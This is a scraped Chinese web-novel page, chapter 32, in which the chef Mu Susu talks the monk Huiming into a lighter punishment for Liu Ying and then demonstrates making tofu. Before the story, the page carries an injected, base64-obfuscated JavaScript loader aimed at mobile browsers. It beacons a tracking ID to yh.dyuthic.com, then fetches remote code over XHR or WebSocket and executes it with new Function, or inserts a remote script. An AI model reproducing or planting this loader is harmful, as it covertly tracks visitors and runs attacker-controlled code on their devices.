足迹
红豆糯米团子的做法
登录
关灯
护眼
字体:

第32章(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

“很多就要切得精细,破费心神,这处理食材工程不小,不如就当做刘颖他们的处罚如何?这一遭处理下来明儿手都抬不起来了,绝对长记性。”

沐苏苏郑重地护短,这有一说一,人肯定是要护着的。

毕竟是跟着自己来的,总不会一群人来一个人回。

沐苏苏给了刘颖一个安心的眼神,示意她放心,有她在。

虽然沐苏苏心里清楚,刘颖这脾性就是这般,黑料料理当家还不服输,丰和楼的后厨的人天天防着掌柜的的灵光一动就来炒个菜,轻的毁个灶台,严重的时候整个后厨都得遭殃。

护短的沐苏苏在给她家掌柜的处理烂摊子,这向来不符合沐苏苏冷清的性子。

可把明白苏苏脾性的刘颖给感动的,眼泪汪汪就想扑上去,被郑和带回原地后愤愤地瞪眼怒视他。

“你干嘛呢?”刘颖不高兴了。

“你要是再多来几句,八成你家宝贝厨子就要留下做两顿了。”郑和深知刘颖在意啥子,一戳一个准的。

刘颖果然肉眼可见的萎缩了,兴致缺缺地靠在傍边的大水桶边上。

“哎,我这是红颜祸水啊。”刘颖一脸悲戚。

被这一声悠长的叹息惊到的沐苏苏瞥了一眼,心里槽点满满。

掌柜的,您真看得起自己!

掌柜的,您可消停点吧!

生怕慧明被刘颖那消极的态度刺激到不愿意退步,看过去,果然绷着脸准备酝酿怒气呢。

“慧明大师,这一顿十款吃食如何?”沐苏苏一句话拉回几人的注意力。

刘颖深觉自家大厨这是卖艺赎人,一脸丢了大宝贝的悲凉模样,要不是郑和拖着,这得冲上去。

“尚可。”慧明目光一亮,瞬间和缓了。

“那我之前的提议,大师觉得如何?”沐苏苏重申一遍话题,“刘掌柜的只是好心办坏事,心地是好的,郑大哥也是关心则乱,一时没转过弯,这次过后肯定不会了。”

下次肯定不带着刘颖来了,缠着也不行!

慧明虔诚地道了一句佛号,然后再说,“我佛慈悲,施主心善,便依了施主的愿。”

沐苏苏松了一口气,担心臭着脸的刘颖不愿意,语气带着几分不可拒绝的意味,“刘掌柜的,麻烦你先将这两盆土豆削皮切条,食指粗细皆可。”

这一趟着实忙了很久,沐苏苏给几个人都分配了任务,厨房开始有条不紊地重新运作。

刘颖还算听自家掌厨的话,勉勉强强地应下,郑和就配合多了,你说什么他就做什么,动作很快。

这点浆是豆腐的点睛之笔,一个嫩字便是从这里开始的。

豆腐是沐苏苏跟祖父学的第一道菜,自家传承的手艺自然是一个绝字,凭着经验便知道何等火候多少浆配着多少卤水才能成功,如此才能做出最嫩的豆腐。

沐苏苏将卤水分三次倒入搅拌,手里的瓢装着多少量心里一清二楚,完全不需要稍加犹豫的。

而一直关注着沐苏苏的动作的慧明则是停下手里切菜的动作,聚精会神地看着沐苏苏的动作,轻快的动作都是日积月累的经验,每一处或许都是关键,自然地看得仔细点。

“点浆技巧其实不难,瓢要一直搅拌,再慢慢加入。”沐苏苏察觉到几人都在关注这一道,便讲解了一番重点。